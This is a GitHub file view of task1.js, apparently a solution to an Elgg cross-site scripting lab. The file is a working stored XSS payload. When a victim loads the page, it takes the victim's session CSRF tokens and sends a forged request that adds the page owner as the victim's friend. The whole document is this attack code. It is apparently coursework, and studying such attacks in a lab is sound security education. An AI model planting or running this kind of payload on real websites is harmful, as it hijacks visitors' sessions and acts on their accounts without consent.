-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtask1.js
More file actions
24 lines (20 loc) · 800 Bytes
/
Copy pathtask1.js
File metadata and controls
24 lines (20 loc) · 800 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script type="text/javascript">
window.onload = function () {
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var friend="friend="+elgg.page_owner.guid;
var user_guid=elgg.session.user.guid;
console.log("visited: "+elgg.page_owner.guid+" own:"+elgg.session.user.guid);
var sendurl="http://www.xsslabelgg.com/action/friends/add?"+friend+ts+token+ts+token;
//Create and send Ajax request to add friend
if(user_guid !== elgg.page_owner.guid && user_guid !== 47)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
console.log("GET sent");
}
}